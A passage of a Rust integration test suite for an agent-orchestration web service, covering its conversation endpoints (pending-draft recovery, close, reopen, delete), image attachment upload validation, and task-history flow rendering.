14809 assert!(edited.json()["thinking"].as_bool().unwrap());
14810
14811 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14812 for _ in 0..SETTLE_STEPS {
14813 if detail["turns"].as_array().expect("turns").len() == 2 {
14814 break;
14815 }
14816 tokio::time::sleep(Duration::from_millis(10)).await;
14817 detail = f.get(&format!("/api/talks/{id}")).await.json();
14818 }
14819 let turns = detail["turns"].as_array().expect("turns");
14820 assert_eq!(
14821 turns.len(),
14822 2,
14823 "the recovered draft must run once: {detail}"
14824 );
14825 assert_eq!(turns[0]["body"], "corrected");
14826 assert_eq!(detail["pending"], "");
14827 }
14828
14829 #[tokio::test]
14830 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14831 let tmp = TempDir::new().expect("tempdir");
14832 let repo = tmp.path().join("repo");
14833 std::fs::create_dir_all(&repo).expect("repo dir");
14834 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14835 let f = Fixture::with_repo(repo).await;
14836 let id = f.post("/api/talks", None).await.json()["id"]
14837 .as_str()
14838 .expect("id")
14839 .to_owned();
14840 let store = f.talks();
14841 let mut recovered = store.get(&id).expect("opened talk");
14842 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14843 .expect("persist pending draft without a live turn");
14844
14845 let refused = f
14846 .post(
14847 &format!("/api/talks/{id}/say"),
14848 Some(r#"{"text":"new message"}"#),
14849 )
14850 .await;
14851 assert_eq!(refused.status, 409, "{}", refused.body);
14852 assert!(refused.body.contains("resume"), "{}", refused.body);
14853 let saved = store.get(&id).expect("draft remains after refusal");
14854 assert!(saved.turns.is_empty());
14855 assert_eq!(saved.pending, "saved before restart");
14856
14857 let say_path = format!("/api/talks/{id}/say");
14858 let (first, second) = tokio::join!(
14859 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14860 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14861 );
14862 assert_eq!(first.status, 409, "{}", first.body);
14863 assert_eq!(second.status, 409, "{}", second.body);
14864 let saved = store
14865 .get(&id)
14866 .expect("draft remains after concurrent refusals");
14867 assert!(saved.turns.is_empty());
14868 assert_eq!(saved.pending, "saved before restart");
14869
14870 let resumed = f
14871 .post(&format!("/api/talks/{id}/pending/resume"), None)
14872 .await;
14873 assert_eq!(resumed.status, 202, "{}", resumed.body);
14874 let duplicate = f
14875 .post(&format!("/api/talks/{id}/pending/resume"), None)
14876 .await;
14877 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14878
14879 for _ in 0..SETTLE_STEPS {
14880 if store.get(&id).expect("talk").turns.len() == 2 {
14881 break;
14882 }
14883 tokio::time::sleep(Duration::from_millis(10)).await;
14884 }
14885 let finished = store.get(&id).expect("finished talk");
14886 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14887 assert_eq!(finished.turns[0].body, "saved before restart");
14888 assert!(finished.pending.is_empty());
14889 }
14890
14891 #[tokio::test]
14892 async fn an_image_only_recovered_draft_resumes_without_text() {
14893 let (_tmp, _repo, f) = talk_fixture().await;
14894 let id = f.post("/api/talks", None).await.json()["id"]
14895 .as_str()
14896 .expect("id")
14897 .to_owned();
14898 let uploaded = f
14899 .post_bytes(
14900 &format!("/api/talks/{id}/attachments"),
14901 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14902 PNG_BYTES,
14903 )
14904 .await;
14905 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14906 let attachment = f
14907 .talks()
14908 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14909 .expect("attachment metadata")
14910 .expect("stored attachment");
14911 let store = f.talks();
14912 let mut recovered = store.get(&id).expect("opened talk");
14913 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14914
14915 let resumed = f
14916 .post(&format!("/api/talks/{id}/pending/resume"), None)
14917 .await;
14918 assert_eq!(resumed.status, 202, "{}", resumed.body);
14919 for _ in 0..SETTLE_STEPS {
14920 if store.get(&id).expect("talk").turns.len() == 2 {
14921 break;
14922 }
14923 tokio::time::sleep(Duration::from_millis(10)).await;
14924 }
14925 let finished = store.get(&id).expect("finished talk");
14926 assert_eq!(finished.turns.len(), 2, "{finished:?}");
14927 assert!(finished.turns[0].body.is_empty());
14928 assert_eq!(finished.turns[0].attachments.len(), 1);
14929 assert!(finished.pending_attachments.is_empty());
14930 }
14931
14932 #[tokio::test]
14933 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14934 let (_tmp, _repo, f) = talk_fixture().await;
14935 let id = f.post("/api/talks", None).await.json()["id"]
14936 .as_str()
14937 .expect("id")
14938 .to_owned();
14939 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14940 assert_eq!(closed.status, 200, "{}", closed.body);
14941 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14942 .expect("serialize closed talk");
14943 for (path, body) in [
14944 (format!("/api/talks/{id}/pending/resume"), None),
14945 (
14946 format!("/api/talks/{id}/pending/clear"),
14947 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14948 ),
14949 (
14950 format!("/api/talks/{id}/pending/edit"),
14951 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14952 ),
14953 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14954 ] {
14955 let response = f.post(&path, body).await;
14956 assert_eq!(response.status, 409, "{}", response.body);
14957 }
14958 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14959 .expect("serialize closed talk");
14960 assert_eq!(
14961 after_clear, before_clear,
14962 "clear must not rewrite a closed talk"
14963 );
14964 }
14965
14966 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14969
14970 #[tokio::test]
14971 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14972 let tmp = TempDir::new().expect("tempdir");
14973 let repo = tmp.path().join("repo");
14974 std::fs::create_dir_all(&repo).expect("repo dir");
14975 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14976 let f = Fixture::with_repo(repo).await;
14977 let id_a = f.post("/api/talks", None).await.json()["id"]
14978 .as_str()
14979 .unwrap()
14980 .to_owned();
14981 let id_b = f.post("/api/talks", None).await.json()["id"]
14982 .as_str()
14983 .unwrap()
14984 .to_owned();
14985
14986 let a = f
14987 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14988 .await;
14989 assert_eq!(a.status, 202, "{}", a.body);
14990 assert_eq!(a.json()["thinking"], true);
14991 let b = f
14992 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14993 .await;
14994 assert_eq!(b.status, 202, "{}", b.body);
14995 assert_eq!(b.json()["thinking"], true);
14996
14997 let listed = f.get("/api/talks").await.json();
14998 for id in [&id_a, &id_b] {
14999 let view = listed
15000 .as_array()
15001 .unwrap()
15002 .iter()
15003 .find(|talk| talk["id"] == *id)
15004 .unwrap();
15005 assert_eq!(view["thinking"], true, "{listed}");
15006 }
15007 let repeated = f
15008 .post(
15009 &format!("/api/talks/{id_a}/say"),
15010 Some(r#"{"text":"again"}"#),
15011 )
15012 .await;
15013 assert_eq!(repeated.status, 202, "{}", repeated.body);
15014 assert_eq!(repeated.json()["pending"], "again");
15015 }
15016
15017 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15020
15021 #[tokio::test]
15022 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15023 let f = Fixture::start().await;
15024 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15025
15026 let res = f
15027 .post_bytes(
15028 &format!("/api/talks/{id}/attachments"),
15029 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15030 PNG_BYTES,
15031 )
15032 .await;
15033 assert_eq!(res.status, 201, "{}", res.body);
15034 let body = res.json();
15035 assert_eq!(body["name"], "shot.png");
15036 assert_eq!(body["mime"], "image/png");
15037 assert_eq!(body["bytes"], PNG_BYTES.len());
15038 let att_id = body["id"].as_str().expect("id").to_owned();
15039 assert_eq!(
15040 att_id.len(),
15041 32,
15042 "the id must never be a client-suppliable path: {att_id}"
15043 );
15044
15045 let got = f
15046 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15047 .await;
15048 assert_eq!(got.status, 200, "{}", got.body);
15049 assert_eq!(got.header("content-type"), Some("image/png"));
15050 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15051 assert_eq!(got.bytes, PNG_BYTES);
15052 }
15053
15054 #[tokio::test]
15055 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15056 let f = Fixture::start().await;
15057 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15058
15059 let svg = f
15062 .post_bytes(
15063 &format!("/api/talks/{id}/attachments"),
15064 &[("Content-Type", "image/svg+xml")],
15065 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15066 )
15067 .await;
15068 assert!(
15069 (400..500).contains(&svg.status),
15070 "svg must be refused: {} {}",
15071 svg.status,
15072 svg.body
15073 );
15074 assert!(svg.body.contains("SVG"), "{}", svg.body);
15075
15076 let text = f
15077 .post_bytes(
15078 &format!("/api/talks/{id}/attachments"),
15079 &[("Content-Type", "text/plain")],
15080 b"just some text",
15081 )
15082 .await;
15083 assert!(
15084 (400..500).contains(&text.status),
15085 "an unlisted type must be refused: {} {}",
15086 text.status,
15087 text.body
15088 );
15089
15090 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15093 let big = f
15094 .post_bytes(
15095 &format!("/api/talks/{id}/attachments"),
15096 &[("Content-Type", "image/png")],
15097 &oversized,
15098 )
15099 .await;
15100 assert_eq!(
15101 big.status,
15102 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15103 "{}",
15104 big.body
15105 );
15106 }
15107
15108 #[tokio::test]
15109 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15110 let f = Fixture::start().await;
15111 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15112
15113 let res = f
15116 .post_bytes(
15117 &format!("/api/talks/{id}/attachments"),
15118 &[("Content-Type", "image/png")],
15119 b"<html>not a picture</html>",
15120 )
15121 .await;
15122 assert!((400..500).contains(&res.status), "{}", res.body);
15123 }
15124
15125 #[tokio::test]
15126 async fn an_unknown_attachment_id_is_a_404() {
15127 let f = Fixture::start().await;
15128 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15129
15130 let res = f
15131 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15132 .await;
15133 assert_eq!(res.status, 404, "{}", res.body);
15134 }
15135
15136 #[tokio::test]
15137 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15138 let f = Fixture::start().await;
15139 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15140
15141 let uploaded = f
15142 .post_bytes(
15143 &format!("/api/talks/{id}/attachments"),
15144 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15145 PNG_BYTES,
15146 )
15147 .await;
15148 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15149 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15150
15151 let res = f
15152 .post(
15153 &format!("/api/talks/{id}/say"),
15154 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15155 )
15156 .await;
15157 assert_eq!(res.status, 202, "{}", res.body);
15158 let queued = res.json();
15159 let turns = queued["turns"].as_array().expect("turns array");
15160 assert_eq!(
15161 turns.len(),
15162 1,
15163 "an empty body with an attachment is still a turn: {queued}"
15164 );
15165 assert_eq!(turns[0]["who"], "operator");
15166 assert_eq!(turns[0]["body"], "");
15167 let atts = turns[0]["attachments"]
15168 .as_array()
15169 .expect("attachments array");
15170 assert_eq!(atts.len(), 1);
15171 assert_eq!(atts[0]["id"], att_id);
15172 assert_eq!(atts[0]["mime"], "image/png");
15173
15174 let on_disk = f.talks().get(&id).expect("get");
15177 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15178 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15179 }
15180
15181 #[tokio::test]
15182 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15183 let f = Fixture::start().await;
15184 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15185
15186 let res = f
15187 .post(
15188 &format!("/api/talks/{id}/say"),
15189 Some(&format!(
15190 r#"{{"text":"hi","attachments":["{}"]}}"#,
15191 "a".repeat(32)
15192 )),
15193 )
15194 .await;
15195 assert!((400..500).contains(&res.status), "{}", res.body);
15196 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15197
15198 let on_disk = f.talks().get(&id).expect("get");
15199 assert!(
15200 on_disk.turns.is_empty(),
15201 "a rejected attachment id must not partially record the turn: {:?}",
15202 on_disk.turns
15203 );
15204 }
15205
15206 #[tokio::test]
15207 async fn talk_close_makes_the_talk_refuse_further_turns() {
15208 let f = Fixture::start().await;
15209 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15210
15211 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15212 assert_eq!(closed.status, 200, "{}", closed.body);
15213 assert_eq!(closed.json()["status"], "closed");
15214
15215 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15217 assert_eq!(closed_again.status, 200);
15218 assert_eq!(closed_again.json()["status"], "closed");
15219
15220 let said = f
15221 .post(
15222 &format!("/api/talks/{id}/say"),
15223 Some(r#"{"text":"too late"}"#),
15224 )
15225 .await;
15226 assert_eq!(said.status, 409, "{}", said.body);
15227 }
15228
15229 #[tokio::test]
15230 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15231 let (_tmp, _repo, f) = talk_fixture().await;
15232 let id = f.post("/api/talks", None).await.json()["id"]
15233 .as_str()
15234 .expect("id")
15235 .to_owned();
15236 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15237 assert_eq!(closed.status, 200, "{}", closed.body);
15238
15239 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15240 assert_eq!(reopened.status, 200, "{}", reopened.body);
15241 assert_eq!(reopened.json()["status"], "open");
15242
15243 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15245 assert_eq!(reopened_again.status, 200);
15246 assert_eq!(reopened_again.json()["status"], "open");
15247
15248 let said = f
15249 .post(
15250 &format!("/api/talks/{id}/say"),
15251 Some(r#"{"text":"still there?"}"#),
15252 )
15253 .await;
15254 assert_eq!(
15255 said.status, 202,
15256 "a reopened talk accepts turns again: {}",
15257 said.body
15258 );
15259 }
15260
15261 #[tokio::test]
15262 async fn talk_reopen_on_an_unknown_id_is_404() {
15263 let f = Fixture::start().await;
15264 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15265 assert_eq!(res.status, 404, "{}", res.body);
15266 }
15267
15268 #[tokio::test]
15269 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15270 let f = Fixture::start().await;
15271 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15272
15273 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15274 assert_eq!(deleted.status, 204, "{}", deleted.body);
15275
15276 let after = f.get(&format!("/api/talks/{id}")).await;
15277 assert_eq!(after.status, 404, "{}", after.body);
15278
15279 let listed = f.get("/api/talks").await.json();
15280 assert!(
15281 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15282 "a deleted talk must not linger in the list: {listed}"
15283 );
15284 }
15285
15286 #[tokio::test]
15287 async fn talk_delete_on_an_unknown_id_is_404() {
15288 let f = Fixture::start().await;
15289 let res = f.delete("/api/talks/nonexistent-id").await;
15290 assert_eq!(res.status, 404, "{}", res.body);
15291 }
15292
15293 #[tokio::test]
15297 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15298 let f = Fixture::start().await;
15299 let (a, b, gone) = (
15300 "20260902-140501-aaaa",
15301 "20260902-140502-bbbb",
15302 "20260902-140503-cccc",
15303 );
15304 write_run(&f.runs(), a, RunStatus::Stalled);
15305 let mut review = RunState::new(
15306 PathBuf::from("/repo/magi"),
15307 "main".to_owned(),
15308 "0123456789abcdef".to_owned(),
15309 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15310 .to_owned(),
15311 Config::default(),
15312 );
15313 review.id = b.to_owned();
15314 review.status = RunStatus::Merged;
15315 write_state(&f.runs(), &review);
15316
15317 let mut task = Task::new(
15318 "retry".to_owned(),
15319 "Do the thing".to_owned(),
15320 PathBuf::from("/repo/magi"),
15321 Source::Human,
15322 );
15323 task.start(a.to_owned());
15324 task.stall("quota");
15325 task.start(a.to_owned());
15326 task.start(b.to_owned());
15327 task.start(gone.to_owned());
15328 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15330 f.queue().put(&mut task).expect("file the task");
15331
15332 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15333 assert_eq!(res.status, 200, "{}", res.body);
15334 let v = res.json();
15335 let h = v["history"].as_array().expect("history");
15336 assert_eq!(h.len(), 4, "{v}");
15337 assert_eq!(h[0]["kind"], "competition");
15338 assert_eq!(h[0]["status"], "stalled");
15339 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15340 assert_eq!(h[1]["kind"], "resume", "{v}");
15341 assert!(
15342 h[0]["outcome"]
15343 .as_str()
15344 .unwrap()
15345 .contains("unknown. Pass #2"),
15346 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15347 );
15348 assert!(
15349 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15350 "{v}"
15351 );
15352 assert!(
15353 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15354 "an unrecorded cause must not be narrated as an operator park: {v}"
15355 );
15356 assert_eq!(h[2]["kind"], "review");
15357 assert!(
15358 h[2]["description"]
15359 .as_str()
15360 .unwrap()
15361 .contains("magi/aaaa/A")
15362 );
15363 assert_eq!(h[2]["status"], "merged");
15364 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15365 assert_eq!(v["runs_unreadable"], 1);
15366 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15367 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15368 assert_eq!(nodes[4]["note"], "unreadable");
15369 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15370 assert_eq!(v["instruction"], "Do the thing");
15371 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15372
15373 let run = f.get(&format!("/api/runs/{a}")).await.json();
15375 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15376
15377 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15378 }
15379
15380 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15381 let mut s = RunState::new(
15382 PathBuf::from("/repo/magi"),
15383 "main".to_owned(),
15384 "0123456789abcdef".to_owned(),
15385 "Do it".to_owned(),
15386 Config::default(),
15387 );
15388 s.status = status;
15389 edit(&mut s);
15390 s
15391 }
15392
15393 fn flow_task(runs: &[&str]) -> Task {
15394 let mut t = Task::new(
15395 "t".to_owned(),
15396 "Do it".to_owned(),
15397 PathBuf::from("/repo/magi"),
15398 Source::Human,
15399 );
15400 for r in runs {
15401 t.start((*r).to_owned());
15402 }
15403 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15405 t
15406 }
15407
15408 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15409 let h = task_history(task, |id| {
15410 states
15411 .iter()
15412 .find(|(i, _)| *i == id)
15413 .and_then(|(_, s)| s.clone())
15414 });
15415 task_flow(task, &h, 5, None)
15416 }
15417
15418 #[test]
15419 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15420 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15421 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15422 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15423 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15424 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15425 let run = flow_run(RunStatus::Implementing, |s| {
15426 s.created_at = created;
15427 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15428 s.passes[0].started_at = first;
15429 s.passes[1].started_at = resumed;
15430 });
15431 let mut task = flow_task(&[RUN_X, RUN_X]);
15432 task.created_at = queued;
15433 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15434 task.status = TaskStatus::Held;
15435 task.held_at = Some(held);
15436 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15437 assert_eq!(
15438 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15439 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15440 );
15441 assert!(flow.nodes.iter().all(|n| n.time_expected));
15442 let json = serde_json::to_value(&flow).unwrap();
15443 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15444 assert_eq!(json["nodes"][2]["time_expected"], true);
15445 }
15446
15447 #[test]
15448 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15449 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15450 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15451 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15452 task.held_at = Some(created);
15454 task.blocked_at = Some(created);
15455 for status in [
15456 TaskStatus::Queued,
15457 TaskStatus::Running,
15458 TaskStatus::Blocked,
15459 TaskStatus::Done,
15460 TaskStatus::Failed,
15461 TaskStatus::Parked,
15462 TaskStatus::Held,
15463 ] {
15464 task.status = status;
15465 if status == TaskStatus::Held {
15466 task.held_at = None;
15467 }
15468 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15469 assert_eq!(flow.nodes[1].started_at, Some(created));
15470 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15471 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15472 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15473 let json = serde_json::to_value(&flow).unwrap();
15474 assert!(json["nodes"][3]["started_at"].is_null());
15475 assert_eq!(json["nodes"][3]["time_expected"], true);
15476 }
15477 }
15478
15479 #[test]
15480 fn flow_context_links_do_not_expect_start_times() {
15481 let mut task = flow_task(&[]);
15482 task.source = Source::Agent {
15483 run: "chat-id".to_owned(),
15484 node: "chat".to_owned(),
15485 };
15486 let origin = followup_origin(&fu(None), |_| None, |_| None);
15487 let flow = task_flow(&task, &[], 5, Some(&origin));
15488 for node in &flow.nodes[..2] {
15489 assert!(!node.time_expected);
15490 assert_eq!(node.started_at, None);
15491 }
15492 assert!(flow.nodes[2].time_expected);
15493 }
15494
15495 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15496 crate::queue::FollowUp {
15497 run: "20260901-000000-aaaa".to_owned(),
15498 origin_task: origin_task.map(str::to_owned),
15499 pr: "https://example.com/o/r/pull/1".to_owned(),
15500 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15501 .map(str::to_owned)
15502 .to_vec(),
15503 generation: 1,
15504 }
15505 }
15506
15507 fn parent_task() -> Task {
15508 let mut p = flow_task(&[]);
15509 p.title = "Parent title".to_owned();
15510 p.status = TaskStatus::Done;
15511 p
15512 }
15513
15514 #[test]
15515 fn flow_opens_with_the_parent_task_of_a_followup() {
15516 let p = parent_task();
15517 let pid = p.id.clone();
15518 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15519 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15520 let n = &f.nodes[0];
15521 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15522 assert_eq!(
15523 n.label,
15524 format!("Follow-up of {}", crate::queue::short(&pid))
15525 );
15526 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15527 assert_eq!(n.status, Some("done"));
15528 assert_eq!(n.status_of, "task");
15529 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15530 assert_eq!(f.nodes[1].key, "start");
15531 assert_eq!(f.edges[0].from, "origin");
15532 assert_eq!(
15533 f.edges[0].label,
15534 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15535 );
15536 }
15537
15538 #[test]
15539 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15540 let o = followup_origin(
15541 &fu(Some("gone")),
15542 |_| None,
15543 |_| {
15544 Some(RunState::new(
15545 std::path::PathBuf::from("."),
15546 "main".to_owned(),
15547 "0".to_owned(),
15548 "t".to_owned(),
15549 crate::config::Config::default(),
15550 ))
15551 },
15552 );
15553 assert!(o.parent.is_none());
15554 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15555 let n = &f.nodes[0];
15556 assert_eq!(n.status_of, "run");
15557 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15558 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15559 }
15560
15561 #[test]
15562 fn flow_followup_with_nothing_readable_has_no_link() {
15563 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15564 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15565 let n = &f.nodes[0];
15566 assert_eq!(n.href, None);
15567 assert_eq!(n.note, Some("unreadable"));
15568 assert!(!n.readable);
15569 }
15570
15571 #[test]
15572 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15573 let o = followup_origin(&fu(None), |_| None, |_| None);
15574 let mut t = flow_task(&[]);
15575 t.origin_chat = Some("c1".to_owned());
15576 let f = task_flow(&t, &[], 5, Some(&o));
15577 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15578 t.source = Source::Agent {
15579 run: "c1".to_owned(),
15580 node: crate::queue::CHAT_NODE.to_owned(),
15581 };
15582 let f = task_flow(&t, &[], 5, Some(&o));
15583 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15584 assert_eq!(
15585 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15586 ("chat", "origin")
15587 );
15588 }
15589
15590 #[test]
15591 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15592 let mut p = parent_task();
15593 p.id = "a b/c".to_owned();
15594 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15595 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15596 }
15597
15598 #[test]
15599 fn flow_opens_with_the_chat_that_queued_the_task() {
15600 let mut t = flow_task(&[]);
15601 t.source = Source::Agent {
15602 run: "a b/c".to_owned(),
15603 node: crate::queue::CHAT_NODE.to_owned(),
15604 };
15605 let f = flow_for(&t, &[]);
15606 assert_eq!(f.nodes[0].key, "chat");
15607 assert_eq!(f.nodes[0].kind, "chat");
15608 assert_eq!(
15609 f.nodes[0].label,
15610 format!("Chat {}", crate::queue::short("a b/c"))
15611 );
15612 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15613 assert_eq!(f.nodes[1].key, "start");
15614 assert_eq!(
15615 f.edges[0],
15616 FlowEdge {
15617 from: "chat".to_owned(),
15618 to: "start".to_owned(),
15619 label: "queued from chat".to_owned(),
15620 attempt: AttemptCost::None,
15621 }
15622 );
15623 }
15624
15625 #[test]
15626 fn flow_has_no_chat_box_for_other_sources() {
15627 for source in [
15628 Source::Human,
15629 Source::Issue {
15630 number: 3,
15631 repo: "o/r".to_owned(),
15632 },
15633 Source::Agent {
15634 run: "20260904-014455-ab12".to_owned(),
15635 node: "implement".to_owned(),
15636 },
15637 ] {
15638 let mut t = flow_task(&[]);
15639 t.source = source;
15640 let f = flow_for(&t, &[]);
15641 assert_eq!(f.nodes[0].key, "start");
15642 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15643 assert!(f.edges.iter().all(|e| e.from != "chat"));
15644 }
15645 }
15646
15647 const FA: &str = "20260902-140501-aaaa";
15648 const FB: &str = "20260902-140502-bbbb";
15649
15650 #[test]
15651 fn flow_follows_blocked_retry_merged_to_done() {
15652 let mut t = flow_task(&[FA, FB]);
15653 t.status = TaskStatus::Done;
15654 let f = flow_for(
15655 &t,
15656 &[
15657 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15658 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15659 ],
15660 );
15661 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15662 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15663 assert_eq!(f.edges.len(), 3);
15664 assert_eq!(f.edges[0].label, "claimed");
15665 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15666 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15667 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15668 assert_eq!(
15669 f.nodes[2].href.as_deref(),
15670 Some("#/runs/20260902-140502-bbbb")
15671 );
15672 assert!(f.nodes[2].decided);
15673 }
15674
15675 #[test]
15676 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15677 let quota = || {
15678 flow_run(RunStatus::Stalled, |s| {
15679 s.quota.push(crate::run::QuotaLoss {
15680 seat: "judge-1".to_owned(),
15681 node: "judge".to_owned(),
15682 at: Timestamp::now(),
15683 reset: None,
15684 })
15685 })
15686 };
15687 let mut t = flow_task(&[FA, FA]);
15688 t.status = TaskStatus::Queued;
15689 let f = flow_for(&t, &[(FA, Some(quota()))]);
15690 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15691 assert_eq!(f.nodes[1].note, Some("interrupted"));
